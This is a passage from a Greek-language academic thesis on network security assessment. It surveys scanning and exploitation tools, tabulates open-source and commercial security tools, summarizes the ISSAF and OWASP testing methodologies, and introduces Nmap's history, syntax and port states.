λειτουργικών συστημάτων σε ένα σύστημα, το 26

29 Microsoft Virtual PC που συνεργάζεται τόσο με τις Linux, BSD και Solaris πλατφόρμες όσο και με τα Mac OS X και τέλος υπάρχει η λύση των Parallels που επιτρέπουν να τρέχουν μέσα στα Mac OS X Microsoft Windows και Linux, BSD πλατφόρμες. Λειτουργικά Συστήματα: Τα λειτουργικά που θα χρησιμοποιηθούν κατά τη διάρκεια μια αποτίμησης ελέγχου ενός συστήματος εξαρτώνται από τον τύπο των δικτύων που θα εξεταστούν και από το βάθος που θα προσεγγιστεί σε αυτά. Είναι συχνό φαινόμενο όταν εξετάζονται Linux ή Unix συστήματα να βασίζεται ο ελεγκτής σε πλατφόρμες Unix κατηγορίας. Οι Microsoft Windows πλατφόρμες (XP, 2003 Server, Vista κλπ) έχουν αποκτήσει πλέον τη προσαρμοστικότητα που χρειάζεται και γι αυτό πολλά εργαλεία επίθεσης σχεδιάζονται για τέτοια λειτουργικά. Οι Linux πλατφόρμες αποτελούν την επιλογή των περισσοτέρων επιτιθέμενων και υπευθύνων ασφάλειας συστημάτων αφού παρουσιάζονται τα λιγότερα εμπόδια σε τέτοιες προκλήσεις. Τα Linux είναι πολύπλευρα και το σύστημα πυρήνα τους μπορεί και υποστηρίζει τεχνολογίες αιχμής. Τα Mac OS X προέρχονται από το Λειτουργικό Σύστημα BSD. Το υποκείμενο σύστημα μοιάζει πάρα πολύ με κάθε είδους Unix περιβάλλον παρέχοντας χρήσιμες δυνατότητες κατά τη διάρκεια μια αποτίμησης ασφάλειας (περιέχει βασικά πρωτόκολλα όπως ftp, telnet, rpcinfo, host κ.α.). Πολλά εργαλεία σχεδιάζονται και για Mac OS X όπως τα Nmap, Νessus και άλλα παρόμοια. Εργαλεία Αναγνώρισης Στόχου: Υπάρχουν πολλές και διάφορες εντολές σε όλα τα λειτουργικά συστήματα οι οποίες μπορούν να εξακριβώσουν το λεγόμενο «έδαφος» της έρευνας μας. Τέτοιες κλασικές περιπτώσεις είναι ο ελεγκτής προσπελασιμότητας και ο ιχνηλάτης δρομολογίου. Για παράδειγμα στα Windows τη λειτουργία αυτή τη διαθέτει η εντολή ping η οποία ψάχνει απάντηση από την διεύθυνση που της βάζει ο χρήστης. Εκτελώντας ping προς το Πανεπιστήμιο Πειραιά πήραμε τα εξής αποτελέσματα της Εικόνας 1.3. Εικόνα

30 Είναι συχνές οι περιπτώσεις στις οποίες φαίνεται να μην υπάρχει απάντηση από την άλλη μεριά ενώ αυτό δεν ισχύει και συμβαίνει για λόγους προστασίας από το firewall προκειμένου να αποφευχθούν επιθέσεις άρνησης εξυπηρέτησης (DoS Attacks). Όπως μπορούμε να συμπεράνουμε από την Εικόνα 1.3 το πραγματικό όνομα του υπολογιστή είναι spider.unipi.gr και άρα το επιλέχθηκε ως ψευδώνυμο, αυτό οφείλεται στο DNS. Ένα δεύτερο παράδειγμα που αφορά τη δρομολόγηση είναι η εντολή tracert στα Windows η οποία δείχνει τους ενδιάμεσους κόμβους δικτύου που διασχίζονται προκειμένου να επικοινωνήσει ο υπολογιστής μας με τη δοθείσα διεύθυνση. Αναλυτικά αυτό φαίνεται πως γίνεται στην Εικόνα 1.4. Εικόνα 1.4 Εργαλεία Δικτυακής Ανάλυσης: Τα προγράμματα δικτυακής ανάλυσης είναι εργαλεία τα οποία προσπαθούν να ελέγχουν με αυτοματοποιημένο τρόπο διευθύνσεις IP, ώστε να αναλυθούν τρωτά συστατικά του δικτύου. Δύο παραδείγματα τέτοιων opensource προγραμμάτων είναι το Nmap και το Nessus τα οποία μάλιστα θα χρησιμοποιηθούν για διάφορους ελέγχους κατά τη διάρκεια των επόμενων κεφαλαίων της εργασίας και θα παρουσιαστούν εκτενώς. Φυσικά υπάρχουν και εμπορικά πακέτα δικτυακής ανάλυσης όπως τα eeye, ISS Internet Scanner, Matta Colossus καθώς και άλλα. Πλατφόρμες Πολιορκίας: Έχοντας αναγνωρίσει τρωτότητες με τις παραπάνω εφαρμογές και τα ευάλωτα συστατικά ενός συστήματος, οι πλατφόρμες πολιορκίας αποκτούν το ρόλο του τελικού «κλέφτη». Ουσιαστικά πρέπει να εκμεταλλευτούν τις ρωγμές ασφάλειας ώστε να δώσουν στο τέλος αυξημένα δικαιώματα πρόσβασης στο χρήστη μέσα στο στόχο. Μια δωρεάν τέτοια πλατφόρμα είναι το Metasploit το οποίο θα χρησιμοποιηθεί και θα παρουσιαστεί σε μετέπειτα κεφάλαια. Επίσης υπάρχουν και άλλες εμπορικές πλατφόρμες όπως το Core Impact ή το Canvas. 28

31 Εργαλεία ελέγχου διαδικτυακών εφαρμογών: Τέτοια προγράμματα εφαρμόζονται σε διαδικτυακές εφαρμογές και με τη χρήση συγκεκριμένων μεθόδων ερευνούν για πιθανές αδυναμίες έγχυσης εντολών (injections), αδύναμες πολιτικές ή περιπτώσεις phishing κλπ. Γενικότερα αυτά τα εργαλεία λειτουργού με δύο τρόπους. Ο πρώτος είναι να τρέχει σαν παθητικός διακομιστής διαμεσολάβησης (proxy server) ο οποίος τροποποιεί τα αρχεία από ένα Internet Browser καθώς αυτά στέλνονται προς το Web Server. Ο δεύτερος είναι με ενεργητική δράση και τη χρήση τεχνικών fuzzing και crawling. Το πρώτο αφορά μια τεχνική σκαναρίσματος προγραμμάτων όπου λειτουργεί κατακλύζοντας την είσοδο με τυχαία και ασαφή (fuzzy) δεδομένα συνεχώς. Αν το πρόγραμμα δεν ανταπεξέλθει εξάγει σχετικές προειδοποιήσεις και επισημάνσεις. Το δεύτερο είναι μια αυτοματοποιημένη (bot) διαδικασία η οποία επισκέπτεται λίστες διευθύνσεων ιστότοπων συλλέγοντας στοιχεία όπως οι υπερσυνδέσεις, ή οι διευθύνσεις ώστε να γίνει η χρήση τους στη συνέχεια βάση συγκεκριμένων κριτηρίων, για κακόβουλη χρήση (όπως πχ. Spam). Η τεχνική crawling συναντά συνήθως εμπόδια σε σύνθετες εφαρμογές όπως για παράδειγμα εφαρμογές που έχουν Java Script, και σε αυτές προτείνεται ο ο πρώτος τρόπος του παθητικού proxy server. Τέτοια προγράμματα τα οποία είναι και δωρεάν είναι το Web Scarab, το Burb Suite το Nikto και άλλα. Επίσης υπάρχουν και εμπορικές λύσεις όπως το Watchfire και άλλες (Lam κ.α., 2004). 1.9 Κατηγοριοποίηση open source και εμπορικών εργαλείων Στην ενότητα αυτή θα παρουσιάσουμε ένα πίνακα παρουσιάζοντας τα σχετικά opensource καθώς και μερικά εμπορικά εργαλεία τα οποία σχετίζονται με τα πλαίσια της εργασίας. Επιπλέον θα αναγράφονται το είδος άδειας (opensource ή μη) καθώς και το λειτουργικό σύστημα που τα υποστηρίζει. Τα στοιχεία αυτά παρουσιάζονται στο Πίνακα 1.2. Πολλά εργαλεία παρουσιάζονται παραπάνω από μια φορά στο πίνακα αυτό ανάλογα με τη κατηγορία και τη χρήση τους. 29

32 Κατηγορίες Λειτουργίας Εργαλείο Είδος Άδειας Λειτουργικό Συστημα Network Enumerators Dns Route Firewall Hosts Identification Port Scanner dnswalk dnstracer dnsutils (dig,nslookup,ns update) Open Source Open Source Debian 5 Ubuntu Debian 5 Ubuntu Open Source Debian 5 fierce Open Source Debian 5 Ubuntu dnsenum Open Source Debian 5 Ubuntu nslookup Open Source Windows XP TCPtraceroute Open Source Debian 5 Ubuntu Debian 5 TCtrace Open Source Ubuntu Windows XP Ndisc6 Open Source Debian 5 Ubuntu Firewalk Open Source Ubuntu Ftester Open Source Ubuntu Nmap Open Source Debian 5 netcat Open Source Debian 5 Windows XP Nmap Open Source Debian 5 Hping3 Open Source Debian 5 arping Open Source Debian 5 Scapy Open Source Debian 5 nemesis Open Source Debian 5 TCPtraceroute Open Source Debian 5 Nmap Open Source Debian 5 Zenmap Open Source Debian 5 Windows Scapy Open Source Debian 5 Nmapsi4 Open Source Debian 5 doscan Open Source Debian 5 psad Open Source Debian 5 pnscan Open Source Debian 5 cports Open Source Windows XP Angry IP Scanner Open Source Windows XP SuperScan Open Source Windows XP 30

33 Network Management Active (OS) fingerprint Passive fingerprint Enterprise Network Mapping Tools Web & Application Server Fingerprint Network Vulnerability Scanners LanHelper Εμπορικό Windows XP NetworkView Εμπορικό Windows XP NetCrunch Εμπορικό Windows XP WS_Ping ProPack Zenmap Εμπορικό Open Source Windows XP Debian 5 Windows XP p0f Open Source Debian 5 Scapy Open Source Debian 5 Cheops-ng Open Source Debian 5 xprobe Open Source Debian 5 SinFP Open Source Debian 5 pads Open Source Debian 5 ettercap Open Source Debian 5 SinFP Open Source Debian 5 p0f Open Source Debian 5 Archaeopteryx Open Source Windows NT Rocket NetCure Εμπορικό Windows XP 10-Strike LANState Εμπορικό Windows XP Zabbix Open Source OpenSuse Dia Open Source Windows XP Nikto Open Source Debian 5 Wikto Open Source Windows XP Free For Non- AppPrint Commercial Windows XP Use/ Εμπορικό Httprint Open Source Windows XP Free For Non- Nessus Windows XP Commercial Debian 5 Use/ Εμπορικό NeXpose Εμπορικό Ubuntu GFI LANguard Εμπορικό Windows XP Open Vulnerability Assessment System (OpenVAS) Microsoft Baseline Security Analyzer (MBSA) Open Source Debian 5 Open Source Windows XP Vulnerability Management NeXpose Εμπορικό Ubuntu GFI LANguard Εμπορικό Windows XP Exploitation Engines Metasploit Framework Open Source Windows XP Debian 5 Πίνακας 1.2 Εργαλεία Αποτίμησης και Διαχείρισης Ασφάλειας 31

34 1.10 Προτεινόμενες μεθοδολογίες επίσημων φορέων Ασφάλειας Στην ενότητα αυτή θα περιγράψουμε 2 αρκετά γνωστές μεθοδολογίες για αποτίμηση αδυναμιών την ISSAF που δημιούργησε ο Open Information System Security Group (OISSG) καθώς και το Testing Guide του Open Web Application Security Project (OWASP). Τέλος θα παραθέσουμε μια συνολική λίστα με τις 10 πιο γνωστές μεθοδολογίες για vulnerability assessment. Information System Security Assessment Framework (ISSAF) Καταρχήν είναι σημαντικό να πούμε κάποια εισαγωγικά πράγματα για τον οργανισμό που δημιούργησε το συγκεκριμένο framework. Ο Open Information Systems Security Group (OISSG) είναι ένας ανεξάρτητος και μη κερδοσκοπικός οργανισμός με όραμα τη διάδοση της επαγρύπνισης σε θέματα ασφάλειας πληροφοριών. Αυτό το πετυχαίνει φιλοξενώντας ένα περιβάλλον όπου οι λάτρεις της ασφάλειας υπολογιστών από όλο το κόσμο διαμοιράζονται και χτίζουν τη γνώση. Είναι γνωστό ότι τέτοιου είδους οργανισμοί οι οποίοι παράγουν μεθοδολογίες ασφάλειας δε λειτουργούν σε ένα ανοιχτό πλαίσιο διανομής και έτσι πάντα κοστολογούν τέτοιου είδους project. Όπως είπαμε όμως o OSSIG είναι ανοιχτού και μη κερδοσκοπικού χαρακτήρα οργανισμός έτσι δε θα μπορούσε παρά να παράγει κάποιο open source framework όπως το ISSAF. Και το ερώτημα που δημιουργείται εδώ είναι «γιατί να επιλέξει κανείς ένα ανοιχτό λογισμικό για μια τέτοια δουλειά;». Η απάντηση είναι ο στόχος του OISSG είναι να να συνεχίζει να εξελίσει το ISSAF σαν ένα πλαίσιο ανοιχτού κώδικα σεβόμενος τις εισφορές των μελών του αλλά και προσπαθόντας να βοηθήσει το πλαίσιο αυτό να γιγαντωθεί σε μια διαφανή διαδικασία μια μεγάλης προσανατολισμένης κοινότητας. Ως εκ τούτου είναι αναμενόμενο ότι αυτό το framework θα υποστεί περαιτέρω αναθεωρήσεις πριν να καταλήξει σε ένα πάγιο πλαίσιο το οποίο θα καθοριστεί από τον ίδιο τον οργανισμό σαν στόχος. Ξεκινώντας να πούμε λίγα λόγια για το ISSAF πρέπει να τονιστεί ότι είναι ένα δομημένο πλαίσιο που κατηγοριοποιεί την αποτίμηση ασφάλειας πληροφοριακών συστημάτων σε διάφορους τομείς και λεπτομέριες που αφορούν ειδικά κριτήρια αξιολόγησης ή δοκιμής για κάθε ένα από αυτούς τους τομείς. Στοχεύει στη παροχή των εισροών στο τομέα της αποτίμησης ασφάλειας οι οποίες αντανακλούν σενάρια πραγματικής ζωής. Η μεθοδολογία ISSAF πρέπει βασικά να χρησιμοποιείται για να πραγματοποιεί αποτίμηση ασφάλειας και να καλύπτει τις απαιτήσεις σε τέτοια φύσης προβλήματα σε οποιοδήποτε οργανισμό. Φυσικά η ISSAF μπορεί να χρησιμοποιηθεί συμπληρωματικά ως σημείο αναφοράς για τη κάλυψη άλλων αναγκών της ασφάλειας πληροφοριών. Επίσης περιλαμβάνει τη κρίσιμη πτυχή των διεργασιών ασφάλειας καθώς και την αξιολογησή τους για να πάρει ο χρήστης μια γενική εικόνα για τα τρωτά σημεία που πιθανόν να υπάρχουν. 32

35 Η πληροφορία στην ISSAF είναι οργανωμένη σε σαφώς καθορισμένα κριτήρια αξιολόγησης κάθε ένα από τα οποία έχει εξετασθεί από ειδικούς στον εκάστοτε τομέα. Τα κριτήρια αξιολόγησης περιλαμβάνουν: Περιγραφή κριτηρίων αξιολόγησης. Τους στόχους του κριτηρίου και τα αντικειμενά του. Οι προυποθέσεις για τη διεξαγωγή των αξιολογήσεων. Τη διαδικασία για την αξιολόγηση. Εμφάνιση των αναμενόμενων αποτελεσμάτων. Προτεινόμενα αντίμετρα. Αναφορές σε εξωτερικά έγγραφα. Μια εκδοχή αυτού του πλαισίου είναι διαθέσιμη στην ιστοσελίδα του OISSG στη διεύθυνση: Είναι προφανές ότι το έγγραφο αυτό το οποίο περιέχει 845 σελίδες δε μπορεί να αναφερθεί εκτενώς στα πλαίσια αυτή της εργασίας. Παρόλα αυτά μπορούμε να δώσουμε ένα δείγμα της κατηγοριοποίησης και της γενικής ιδέας του δείχνοντας κάποια από τα περιεχόμενα του αλλά και των απηχήσεων που έχουν αυτά σε σύγχρονα συστήματα. Συνοπτικά τα περιεχόμενα της έγγραφη μεθοδολογίας είναι τα ακόλουθα: Μεθολογία penetration testing. Δοκιμή ασφάλειας κωδικών. Αποτίμηση ασφάλειας για το Switch. Αποτίμηση ασφάλειας για το Router. Αποτίμηση ασφάλειας για το Firewall. Αποτίμηση ασφάλειας για το σύστημα αναγνώρισης εισβολών (IDS). Aποτίμηση ασφάλειας για το VPN δίκτυο. Aποτίμηση ασφάλειας για το αντιβιωτικό πρόγραμμα και της στρατηγικής μάνατζμεντ. Aποτίμηση ασφάλειας για το Storage Area Network (SAN). Αποτίμηση ασφάλειας το ασύρματο δίκτυο (WLAN). Aποτίμηση ασφάλειας για το χρήστη Διαδικτύου. Aποτίμηση ασφάλειας για το κατανεμημένο σύστημα με βάση έγγραφα Lotus Notes. Aποτίμηση ασφάλειας για το χρησιμοποιούμενο UNIX/Linux σύστημα. Aποτίμηση ασφάλειας για το χρησιμοποιούμεν Windows σύστημα. Aποτίμηση ασφάλειας για τον εξυπηρετητή ιστού (web server). Aποτίμηση ασφάλειας διαδικτυακών εφαρμογών και εξυπηρετητή εφαρμογών (web applications and application server security). Aποτίμηση ασφάλειας σε επίπεδο κώδικα (source code auditing). 33

36 Aποτίμηση ασφάλειας βάσης δεδομένων και εξυπηρετητή βάσεων δεδομένων (database and database server security). Αποτίμηση ασφάλειας κοινωνικής μηχανικής. Αυτά τα παραπάνω αποτελούν τις γενικές κατηγορίες αποτίμησης ασφάλειας. Είναι προφανές ότι το καθένα από αυτά μπορεί να υποστηρίζεται από ένα πλήθος μεθόδων οι οποίες αναλύονται εκτενώς μέσα στο έγγραφο της μεθοδολογίας ISSAF. Περισσότερες πληροφορίες μπορεί να βρει κανείς στο επίσημο έγγραφο του OSSIG στη σελίδα: Testing Guide (OWASP) To Testing Guide ή Testing Project του Open Web Application Security Project (OWASP) είναι μια μεθοδολογία αποτίμησης ασφάλειας και σύγχρονες επιχειρήσιες και οργανισμούς. Όπως και το ISSAF είναι open source χαρακτήρα και μπορεί να είναι προσβάσιμο σε όλους τους ενδιαφερόμενους, ερευνητές ασφάλειας και μη. Η άδεια του βρίσκεται κάτω από τα δικαιώματα της Creative Commons. Το Testing Guide του OWASP στην έκδοση Version 3 που κυκλοφορεί σήμερα είναι μια σημαντική βελτίωση της έκδοσης 2 και δημιουργεί νέα τμήματα και ελέγχους ασφάλειας. Στη νέα αυτή έκδοση έχει προστεθεί: Τέστ Διαχείρισης και Διαμόρφωσης Δικαιωμάτων και ειδικό παράρτημα injection κώδικα. 36 νέα άρθρα στο περιεχόμενο. Η version 3 του Testing Guide βελτίωσε 9 από τα συνολικά 10 για κατηγορίες Testing καθώς και 66 ελέγχους σε σχέση με τη version 2. Η version 3 δημοσιοποιήθηκε το Νοέμβρη του Το Testing Guide πρωτοξεκίνησε το 2003 με τον Dan Cuthbert σαν ένα από τους αρχικούς εκδότες. To 2005 πέρασε στα χέρια του Eoin Keary και μετατράπηκε σε wiki. Στη συνέχεια ο Matteo Meucci πήρε τον έλεγχο του Testing guide και τώρα ακόμα είναι στην ηγεσία και διαχείριση του OWASP Testing guide project. H ιστορική εξέλιξη του Testing guide είναι η παρακάτω: 15 Σεπτεμβρίου 2008 "OWASP Testing Guide", Version Δεκεμβρίου 2006 "OWASP Testing Guide", Version

37 14 Ιουλίου 2004 "OWASP Web Application Penetration Checklist", Δεκέμβριος 2004 "The OWASP Testing Guide", Version 1.0 Το Testing guide εξετάζει την ασφάλεια σε 5 φάσεις του λογισμικού. Οι 5 αυτές φάσεις είναι οι παρακάτω: Φάση 1: Πριν από την έναρξη της ανάπτυξης του λογισμικού. Φάση 2: Κατά τη διάρκεια του ορισμού και του σχεδιασμού. Φάση 3: Κατά τη διάρκεια της ανάπτυξης. Φάση 4: Κατά τη διάρκεια του debug και deployment. Φάση 5: Κατά τη διάρκεια συντήρησης και λειτουργιών. Ιδιαίτερη βαρύτητα δίνει ο OWASP στα ζητήματα διαδικτυακών εφαρμογών καθώς αφιερώνει ένα μεγάλο κεφάλαιο της μεθοδολογίας του σε Web Application Penetration Testing. Αναλυτικά ενσωματώνει ειδικούς ελέγχους για: Crawlers, Robots, Spiders, ανάλυση κώδικα σφαλμάτων, διαχείριση διαμορφώσεων, δοκιμές στο SSL και το TLS πρωτόκολλο, ελέγχους brute force attack, Authentication Testing, Επιθέσεις λεξικού (dictionary attacks) σε κωδικούς, Χαρακτηριστικά των cookies, Αδυναμίες κωδικών, SQL injection, Τρωτότητες σε Oracle, MySQL, SQL Server, MS Access, PostgreSQL XML Injection, LDap Injection για διαχείριση πιστοποιητικών, Έλεγχοι buffer overflow, Έλεγχοι υπερχείλισης σωρού (heap overflow), Eντολοδότηση λειτουργικού συστήματος, Έλεγχοι σε επίπεδο http, Ajax Testing και πολλά άλλα. Επίσης το Testing guide δίνει μεθοδολογία για συγγραφή τυποποιημένων αναφορών (report) για συνολική αποτίμηση αδυναμιών και αποτίμηση κινδύνου (risk assessment). 35

38 Τέλος η μεθοδολογία αυτή του OWASP ενσωματώνει πολλά παραρτήματα που αφορούν εξειδικευμένες διαδικασίες και παραπομπές. Παραδείγματος χάρη προτείνει εργαλεία για δοκιμές, προτεινόμενη βιβλιογραφία και άλλες πιο εξειδικευμένες τεχνικές όπως fuzzing vectors δηλαδή μεθόδους αποτίμησης κινδύνου μέσω ασαφούς λογικής αλλά και πιο προγράμματα υποστηρίζουν αυτές τις τεχνικές. Περισσότερες πληροφορίες για το Testing guide του OWASP μπορεί να βρει κανείς στο επίσημο έγγραφο στη παρακάτω διεύθυνση: Στο Πίνακα 1.3 που ακολουθεί βλέπουμε σε τίτλους τις 10 βασικότερες μεθοδολογίες για δοκιμές ασφάλειας δικτύων και πληροφοριών. Επίσης παρουσιάζεται μια σύντομη περιγραφή τους καθώς και ο φορέας-οργανισμός που τις προτείνει. Μεθοδολογίες/ Πλαίσια 1. Guideline on Network Security Testing (NIST SP800-42) 2.Technical Guide to Information Security Testing and Assessment (NIST SP ) Οργανισμός National Institute of Standards and Technology National Institute of Standards and Technology Περιγραφή Κεντρικός στόχος αποτελεί η περιγραφή μιας ολοκληρωμένης προσέγγισης για τον έλεγχο ασφάλειας της δικτυακής υποδομής ενός οργανισμού. Η προτεινόμενη προσέγγιση επιτρέπει τον βέλτιστο συντονισμό των ενεργειών που πρέπει εκτελεστούν αποφεύγοντας την επανάληψη. Επίσης, εστιάζει στον καθορισμό βασικών απαιτήσεων οι οποίες θα πρέπει να ληφθούν υπόψη και να ικανοποιηθούν για την αποτελεσματική εκτέλεση των ελέγχων. Παράλληλα περιγράφει τεχνικές και εργαλείων ελέγχου. Παρέχει σαφείς οδηγίες στους οργανισμούς για τον σχεδιασμό και την εκτέλεση των τεχνικών ελέγχων και της αξιολόγησης της ασφαλείας των πληροφοριών και των υποδομών τους, της ανάλυσης των ευρημάτων και της ανάπτυξης σχεδίου 36

39 3. Information Systems Security Assessment Framework (ISSAF) 4. Open Source Security Testing Methodology Manual (OSSTMM) Open Information Systems Security Group (OISSG) Institute for Security and Open Methodologies (ISECOM) αντιμετώπισης των εντοπιζόμενων ευπαθειών. Οι οδηγίες αυτές παρέχονται περισσότερο με τη μορφή συστάσεων προς τους οργανισμούς προδιαγράφοντας μια σειρά βημάτων τα οποία θα πρέπει να εκτελεστούν από αυτούς. Επομένως, το πλαίσιο αυτό δεν αποτελεί ένα ολοκληρωμένο πρόγραμμα ελέγχου και αξιολόγησης της ασφάλειας αντίθετα δίνει έμφαση στην περιγραφή συγκεκριμένων τεχνικών που μπορούν να χρησιμοποιηθούν, παρουσιάζοντας τα πλεονεκτήματα και μειονεκτήματα τους. Πρόκειται για ένα καλά δομημένο πλαίσιο το οποίο ορίζει σαφείς τομείς για την αξιολόγηση της ασφάλειας των πληροφοριακών συστημάτων και προδιαγράφει συγκεκριμένα κριτήρια αξιολόγησης και ελέγχου για κάθε έναν από τους τομείς αυτούς. Αποτελεί μια καλά ορισμένη μεθοδολογία για την εκτέλεση ελέγχων ασφάλειας και τον προσδιορισμό της αποτελεσματικότητας τους μέσω του καθορισμού συγκεκριμένων μέτρων. Οι περιπτώσεις ελέγχου που έχουν οριστεί κατηγοριοποιούνται σε πέντε βασικούς τομείς οι οποίοι εκτελούν ένα σύνολο σεναρίων. Τα προσδιοριζόμενα σενάρια έχουν σαν βασικό στόχο τον έλεγχο της αποτελεσματικής εφαρμογής μιας σειράς μέτρων που σχετίζονται με την προστασία των δεδομένων και των πληροφοριών, την προστασία της δικτυακής υποδομής, την φυσική ασφάλεια κ.τ.λ.. 37

40 5. Penetration Testing Framework (PTF) 6. Information Supplement: Payment Card Industry Data Security Standard (PCI DSS) Requirement 11.3 Penetration Testing 7. PCI DSS v1.2. Security Testing Requirements 8. Common Criteria Web Application Security Scoring (CCWAPSS) VulnerabilityAssessm ent.co.uk PCI Security Standards Council PCI Security Standards Council Εστιάζεται στην παρουσίαση συγκεκριμένων τεχνικών και εργαλείων που μπορούν να χρησιμοποιηθούν για την εκτέλεση τεχνικών ελέγχων για την αξιολόγηση της ασφαλείας των πληροφοριών και των υποδομών των οργανισμών. Καθορίζει ένα σύνολο απαιτήσεων οι οποίες σχετίζονται με την εκτέλεση δοκιμών διείσδυσης. Καθορίζει ένα σύνολο απαιτήσεων που πρέπει να ικανοποιηθούν για την αξιολόγησης της ασφάλειας των πληροφοριών και των Πληροφοριακών Συστημάτων ενός οργανισμού. Παρουσιάζει μια μέθοδο για την αξιολόγηση της ασφάλειας των δικτυακών εφαρμογών. 9. CESG IT Health Check scheme 10. OWASP Testing Guide CESG Στοχεύει στον εντοπισμό γνωστών ευπαθειών στα Πληροφοριακά Συστήματα και στις δικτυακές υποδομές ενός οργανισμού γεγονός που μπορεί να προκαλέσει την απώλεια της εμπιστευτικότητας, της ακεραιότητας και της διαθεσιμότητας των πληροφοριών που αυτά διατηρούν ή διαχειρίζονται. OWASP Πρόκειται για έναν οδηγό ελέγχων διείσδυσης ο οποίος περιγράφει τεχνικές ελέγχου των πιο κοινών ζητημάτων ασφάλειας που αφορούν τις δικτυακές εφαρμογές και τις υπηρεσίες ιστού. Πίνακας 1.3 Σύγχρονες Μεθοδολογίες Αποτίμησης Ασφάλειας 38

41 Κεφάλαιο 2 ο 2. ΤΟ ΛΟΓΙΣΜΙΚΟ ΧΑΡΤΟΓΡΑΦΗΣΗΣ NMAP ΚΑΙ ΕΦΑΡΜΟΓΕΣ ΤΟΥ 2.1 Εισαγωγή Σε ρεαλιστικές επιθέσεις σε υπολογιστικά συστήματα και υπηρεσίες σήμερα προηγείται η συλλογή πληροφοριών. Ο επιτιθέμενος πρώτα δημιουργεί μια κατόπτευση του χώρου δράσης. Όλο αυτό με στόχο την απόκτηση γνώσης η οποία θα οδηγήσει σε ακριβέστερη και καλύτερη επίτευξη των ζητουμένων του κακόβουλου χρήστη, κοινώς θα αυξήσει τη πιθανότητα επιτυχίας της επίθεσης. Είναι σημαντικό για τον επιτιθέμενο να γνωρίζει IP διευθύνσεις των μηχανημάτων, λειτουργικά συστήματα που τρέχουν και προσφερόμενες υπηρεσίες ούτως ώστε να τροποποιήσει την επίθεση του αναλόγως. Η διαδικασία συλλογής αυτών των πληροφοριών είναι γνωστή ως χαρτογράφηση (mapping). 2.2 Εισαγωγή στο Nmap Το Nmap δημοσιεύθηκε αρχικά από τον Gordon Lyon Fyodor το Σεπτέμβρη του 1997, ως άρθρο στο περιοδικό Phrack μαζί με τον πηγαίο του κώδικα. Φυσικά υπήρξε περαιτέρω ανάπτυξη που συνεχίζεται μέχρι και σήμερα περιλαμβάνοντας καλύτερους αλγόριθμους για τις υπηρεσίες που προσφέρει, αντιγραφή του κώδικά C σε C++, όπως και πρόσθετοι τύποι ανίχνευσης και υποστήριξης πρωτοκόλλων (όπως το IPv6). Το Nmap έφθασε στην έκδοση 4.0 τον Ιανουάριο του 2006 και στην έκδοση 4.5 το Δεκέμβριο του Πλέον (2011) η έκδοση που κυκλοφορεί είναι η 5.5. Ο τίτλος του σημαίνει NetworkMAPer και όπως θα μπορούσαμε να συμπεράνουμε εύκολα πρόκειται για ένα χαρτογράφο δικτύων, κάτι που φυσικά ισχύει αλλά συνοδεύεται και από επιπλέον πλήθος υπηρεσιών ασφάλειας. Γενικά θα μπορούσαμε να πούμε ότι είναι ένα εργαλείο ανοικτού κώδικα για την εξερεύνηση του δικτύου και τον έλεγχο της ασφάλειας αφού μπορεί να ανακαλύψει απομακρυσμένους υπολογιστές και τις υπηρεσίες που μπορεί να τρέχουν σε ένα δίκτυο υπολογιστών δημιουργώντας κατά συνέπεια ένα «χάρτη» δικτύου. Επίσης μπορεί να δώσει λεπτομέρειες εκτός από τις θύρες και για άλλα στοιχεία των απομακρυσμένων υπολογιστών. Τέτοια στοιχεία είναι τα λειτουργικά τους συστήματα, ο τύπος συσκευών, το uptime (διάρκεια λειτουργίας) που είναι μέτρο του χρόνου κατά τον οποίο ένας ηλεκτρονικός υπολογιστής είναι ανοιχτός, το προϊόν λογισμικού που χρησιμοποιείται για να τρέξει μια υπηρεσία αλλά και τον ακριβή αριθμό έκδοσης αυτού του προϊόντος. Ακόμα μπορεί να προσδιορίζει τις τεχνικές firewall και το προμηθευτή της κάρτας δικτύου. Η λειτουργία του είναι εξίσου καλή σε έλεγχο μεγάλων δικτύων αλλά και σε ξεχωριστούς hosts. 39

42 Το Nmap τρέχει σε όλα τα ευρέως χρησιμοποιούμενα λειτουργικά συστήματα όπως Linux, Solaris, MAC OS X, BSD και φυσικά σε Microsoft Windows. Υπάρχουν δύο διαθέσιμες εκδόσεις αυτού του προγράμματος, τόσο σε γραφικό-παραθυρικό περιβάλλον όσο και σε command line (έκδοση κονσόλας). Βασικός στόχος αυτού του κεφαλαίου της εργασίας είναι να ασχοληθεί με τη δεύτερη περίπτωση δηλαδή το Nmap σε επίπεδο γραμμής εντολών, καθώς θεωρήθηκε ότι θα υπάρξει βαθύτερη κατανόηση των εννοιών σε επίπεδο εντολής. Σημαντικό ρόλο στη καθιέρωση του Nmap αλλά και στην εξέλιξη του είναι πως είναι opensource πρόγραμμα, πράγμα που σημαίνει ότι ο καθένας έχει τη δυνατότητα να συνεισφέρει στη διαμόρφωση και βελτίωση του, κάτι το οποίο γίνεται καθημερινώς από διάφορες προγραμματιστές χρήστες του. 2.3 Δομή Λειτουργίας του Nmap Το Nmap (σε επίπεδο command line φυσικά) κάνει χρήση εντολών προκειμένου να κάνει ανίχνευση στο απομακρυσμένο δίκτυο. Κάθε εντολή του προγράμματος είναι της μορφής nmap [ <Scan Type>...] [ <Options> ] { <target specification> }. Η έξοδος του Nmap είναι μια λίστα από σάρωση στόχων, με τις συμπληρωματικές σχετικές πληροφορίες ανάλογα με τις παραμέτρους που έχει λάβει. Πίνακας κλειδί μεταξύ των εν λόγω πληροφοριών είναι ο πίνακας με ενδιαφέρουσες θύρες. Ο συγκεκριμένος πίνακας περιλαμβάνει τον αριθμό της θύρας και πρωτοκόλλου, την ονομασία υπηρεσίας, αλλά και τη κατάσταση. Η κατάσταση είναι είτε open (ανοικτή), είτε filtered (φιλτραρισμένη), είτε closed (κλειστή), είτε unfiltered (αφιλτράριστη). Ανοιχτή σημαίνει ότι μια αίτηση για το μηχάνημα στόχο ακούει σε συνδέσεις / πακέτα για αυτή τη θύρα. Φιλτραρισμένο σημαίνει ότι ένα τείχος προστασίας, φιλτράρισμα, ή άλλο εμπόδιο του δικτύου είναι το κλείδωμα της θύρας, κι έτσι το Nmap δεν μπορεί να πει αν είναι ανοιχτή ή κλειστή. Κλειστές θύρες δεν ακούν σε καμία αίτηση, αν και θα μπορούσαν να ανοίξουν οποιαδήποτε στιγμή. Οι θύρες έχουν ταξινομηθεί ως αφιλτράριστες όταν ανταποκρίνονται στους ανιχνευτές του Nmap, αλλά το Nmap δεν μπορεί να προσδιορίσει εάν είναι ανοικτές ή κλειστές. Το Nmap αναφέρει τη θύρα ως open filtered (ανοικτή φιλτραρισμένη) και closed filtered (κλειστή φιλτραρισμένη) όταν 